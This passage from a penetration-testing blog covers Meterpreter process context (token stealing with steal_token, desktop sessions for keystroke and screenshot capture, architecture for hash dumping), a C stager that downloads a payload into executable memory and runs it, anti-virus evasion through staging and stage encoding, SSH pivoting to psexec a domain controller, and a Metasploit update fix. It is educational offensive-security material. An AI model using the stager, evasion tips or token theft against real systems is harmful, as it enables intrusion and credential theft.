When you attack a system and get a session, you may deliver an x86 payload, but find that you’re on an x64 system. It’s important to know the architecture of the system you’re on and the type of process you live in. If you’re in an x86 process on an x64 system, some actions that require manipulation of system data structures will fail. If you want to dump hashes or use mimikatz, you will need to make sure you live in a process that matches the native system.

How do you do this? You can pull this off with our friend migrate. Use migrate [process id] to move to another process. If you move from an x86 to an x64 process or vice versa, Meterpreter will manage this transition for you. The Arch column of ps’s output is the architecture of the process.

To determine the architecture of your current Meterpreter session and the system you’re on, use sysinfo.

What is my current desktop?

This is one that bites folks a lot. Windows has the concept of desktop sessions. Each desktop session has its own number. Most Meterpreter actions will act on the active desktop session. If you try to take a screenshot, Meterpreter will try to oblige you by getting a screenshot of the current desktop session. If your process is not associated with a desktop, then you will not get a screenshot. If your process is not associated with a desktop that’s in use, then you will not get a useful screenshot. This same logic also applies to keystrokes and other tools that allow you to capture user activity. This same logic also applies if you’re trying to execute a non-hidden program and make it show on the user’s desktop.

To see which desktop you’re in, use getpid to determine your process and look at the session column in the output of ps.

Use enumdesktops to see which desktops are available.

enumdesktops

Use setdesktop to force your process to associate with another desktop. This command requires a few arguments provided by enumdesktops, make sure you review the help provided by setdesktop -h.

Take a look at the Session column of ps’s output to see the desktop session associated with each process.

Which token do I have?

The last item to know is your current token. In Windows, each process and thread has a token associated with it. This token states which user the thread of execution is associated with and which subset of that user’s rights the thread or process has. Knowing the token you currently have is everything. Your token is your free pass to summer fun and the ability to do things.

If you have the NT AUTHORITY\SYSTEM token, you have a token that gives you complete control of the host that you’re on. Generally, you need this token to dump hashes and perform other actions that require interrogating the system for things you want. This token is associated with the current host though. This token does not give you the right to manipulate other systems that trust the same domain controller.

If you have the token of a user on the domain, you have the rights to do things and access the resources that user can get to. For example, if there’s a share on another system that you have the rights to, you may open a command shell and interrogate it.

If you have the token of a domain administrator, then you may go to town and take over the world. You can try to copy an executable to a place another host can reach and schedule it to run on another host. This gives you the ability to get code execution on other hosts that are part of the same domain.

Knowing your current token is important. To determine the token you have, use getuid.

To steal a token from a process, use steal_token [process id]. The User column of ps’s output has the token associated with each process.

To go back to your original token when you’re ready to do so, use rev2self (revert to self).

A process listing is one place to find a token, but it’s not the only place. Windows may associate a different token with each thread and tokens persist on a system until reboot. If you want to enumerate the current system for all available tokens, use the incognito module to do so. I could write about this module here, but the Metasploit Unleashed Wiki covers it well.

The Take Away

When I’m using meterpreter, sometimes, an action will not happen as I hoped. When I find myself in this situation. I take a look at these contextual factors. If I want to spy on the user, I make sure I’m in a process associated with the right desktop session. If I want to dump hashes I make sure my meterpreter architecture matches the operating system’s architecture. If I want to perform a privileged action, I make sure I have the right token to do it.

As deceptively simple as Meterpreter is, there are a lot of contextual factors to know to get the most from it.

h1

Staged Payloads – What Pen Testers Should Know

June 28, 2013

The Metasploit Framework decouples exploits from the stuff that gets executed after successful exploitation (the payload). Payloads in the Metasploit Framework are also divided into two parts, the stager and the stage. The stager is responsible for downloading a large payload (the stage), injecting it into memory, and passing execution to it.

payloadstage-light

Payload Staging Process

Staging first came about out of necessity. Many exploitable situations constrain how many bytes an attacker may load, unchanged, into one contiguous location in memory. One way to do interesting post exploitation in these situations is to deliver the payload in stages.

Stagers are usually written in hand optimized assembly language. The attacker’s goal is to make the stager as small as possible. A small stager gives an attacker freedom to use it with more exploits.

This code snippet shows a stager written in C. Allocate a buffer, download the stage, and pass control onto it. I explain this process in an earlier blog post, the entire program is on Github.

/* connect to the handler */
SOCKET my_socket = wsconnect(argv[1], atoi(argv[2]));

/* read the 4-byte length */
int count = recv(my_socket, (char *)&size, 4, 0);
if (count != 4 || size <= 0) 	punt(my_socket, "read a strange or incomplete length value\n"); /* allocate a RWX buffer */ buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (buffer == NULL) 	punt(my_socket, "could not allocate buffer\n"); /* prepend a little assembly to move our SOCKET value to the EDI register    thanks mihi for pointing this out    BF 78 56 34 12     =>      mov edi, 0x12345678 */
buffer[0] = 0xBF;

/* copy the value of our socket to the buffer */
memcpy(buffer + 1, &my_socket, 4);

/* read bytes into the buffer */
count = recv_all(my_socket, buffer + 5, size);

/* cast our buffer as a function and call it */
function = (void (*)())buffer;
function();

Staging makes it possible to deliver a variety of payloads with just a few stagers. So long as I have code that is compatible with a stager, I may deliver my code with all the exploits the stager supports (again, size is a constraint). This flexibility makes payloads like Beacon possible without requiring modifications to the Metasploit Framework.

Relying on a stager makes anti-virus evasion simpler too. Windows Meterpreter is 700KB and Cobalt Strike’s Beacon is 120KB. Let’s assume there is no size constraint–if I create an attack package, to deliver my desired payload as-is, I am providing an anti-virus vendor with a lot more stuff they can write a signature against. By using a stager to deliver my payload, I have to focus only on getting the stager and attack package past anti-virus. If the stager is not caught, then my stage is probably safe.

In theory, a stage could be position independent code of any size. In reality, stages used with the Metasploit Framework are DLLs written in C. These DLLs are compiled with a Reflective DLL Injection library, written by Stephen Fewer. This library is able to load a library into a process from memory. Consult Stephen Fewer’s Reflective DLL Injection paper to learn how it works.

When preparing a DLL to become a stage, the Metasploit Framework prepends bootstrap code to the beginning of the payload DLL. This bootstrap code calls the exported Reflective DLL injection function in the payload DLL with the location in memory of the payload DLL. This bootstrap code coupled with the Reflective DLL Injection library allows the payload to load itself into the process, without touching disk, once the stager passes control to it. From my experience, this process requires a specific compiler and build settings to work properly.

staging

Payload Staging without Encoding

If you look at a staging process in Wireshark, you will see an unobfuscated DLL going over the wire. This is a great opportunity to get caught. Fortunately, the Metasploit Framework now has options to encode this second stage. These options are EnableStageEncoding and StageEncoder. Cobalt Strike’s Listener Management feature automatically sets these options for you.

Payload Staging with Encoding

Payload Staging with Encoding

While the simplest stagers connect to an attacker and download the payload via a TCP connection, this is not always the case. It’s possible to stage over any protocol a developer is willing to write code for. Windows provides a rich library called WinINet that makes it easy to grab content from any URL. This library sits below Internet Explorer and gives developers a lot of capability for free. This library makes it possible to grab a payload over HTTP or HTTPS while keeping the stager small enough to use with most exploits.

Sadly, the size constraint of stagers makes other communication options more challenging to implement with the Metasploit Framework’s toolset. If there are no built-in Windows libraries to download a stage with very little code, it makes little sense to write a stager for that protocol. If there is no stager for a protocol, it makes little sense to have Meterpreter or another payload speak that protocol. The logic goes like this–if I can stage over a protocol, then I must be able to communicate over it. If I can’t stage over a protocol, I shouldn’t expect that I can stage the payload in the first place. This logic kept me from pursuing the DNS Communication feature in Beacon for a long time.

Staged Payloads are an awesome capability in the penetration tester’s arsenal. Stagers give us a lot of flexibility in terms of which tools we use after successful exploitation. Even though this process is largely invisible to users, I wrote this post to shed some light and context on what’s happening. The better we know our tools, the better prepared we are to use them properly.

h1

Pivoting through SSH

March 28, 2013

This is a pretty quick tip, but still useful. When you SSH to a host, you may use the -D flag to setup “dynamic” application-level port forwarding. Basically, this flag makes your ssh client setup a SOCKS server on the port you specify:

ssh -D 1234 msfadmin@whatever.host

What you may not know, is that it’s possible to send your Metasploit Framework exploits through this SSH session. To do so, just set the Proxies option. It’s an Advanced option, so you will need to check the Show Advanced Options box in Armitage. The syntax is:

socks4:[host]:[port]

To send an attack through this SSH session, I would set Proxies to socks4:127.0.0.1:1234.

This came in hand at the North East Collegiate Cyber Defense Competition. We were able to get onto a student network through one Linux host. This Linux host could see another Linux host on the same network. Through this second Linux host, we were able to touch the team’s domain controller. We had cracked several credentials earlier. Our last task was to verify if any of them worked through the domain controller. We fixed the team’s DNS server and installed smbclient. Once we discovered one of our accounts could read the ADMIN$ share, we used ssh -D 8080 to get to the first server. We setup proxychains to go through this SOCKS host. We then used ssh -D 8081 to connect to the second server. From that point, we were able to point Proxies to socks4:127.0.0.1:8081 to psexec and executable to the domain controller. This executable delivered Cobalt Strike’s Beacon, which gave us some post-exploitation capabilities. We held that domain controller for the rest of the event.

t3

If you ever need to pivot an attack through an SSH session, the Proxies option will come in handy.

h1

Deprecation Notice: Metasploit source checkouts will NO LONGER update over SVN – Move to Git

February 27, 2013

The official home of the Metasploit Framework’s source code has been github for a while now. Ever since the move to Git, Rapid7 has operated a subversion server that allowed older Metasploit Framework environments to continue to receive updates. Soon this SVN server will shut down (it’s time). That’s what these messages are about:

msfupdate

msfconsole

If you installed the Metasploit Framework with the 4.4 installer or earlier, you’ll need to take action. You won’t get updates from msfupdate without action. You can uninstall the Metasploit Framework and setup an environment with the 4.5 installer. Beware, it’s different from the previous installers. The 4.5 installer requires you to register for a Metasploit Community Edition key to use msfupdate. The 4.5 installer also uses the same Metasploit code base / db tables for the open source and commercial interfaces. This has already led to some fun.

Here’s the word from Tod Beardsley on these changes:

https://community.rapid7.com/community/metasploit/blog/2013/01/17/metasploit-updates-and-msfupdate

The benefit of the 4.5 installer is that it pulls tested changes only. The Rapid7 QA team works through a snapshot of the framework once a week and clears it for release. In the 4.5 environment, this tested snapshot is what msfupdate will pull if you register for a key.

If you want to use Git and not register, Tod’s blog post offers several options. I’d like to offer another one. You can continue to install the Metasploit Framework with the 4.4 installer. The 4.4 and 4.5 installers ship with the same dependencies. It’s easy to convert the 4.4 environment to pull updates via Github. Here’s how to do it:

cd /opt/metasploit
rm -rf msf3
source scripts/setenv.sh
git clone git://github.com/rapid7/metasploit-framework.git msf3

At this point, your Metasploit Framework source code is now pulled from Github. If you use msfupdate, the script will detect the Git tree and pull updated source code from the master branch. Pretty easy. Read the rest of this entry ?

Follow

Get every new post delivered to your Inbox.

Join 11,355 other followers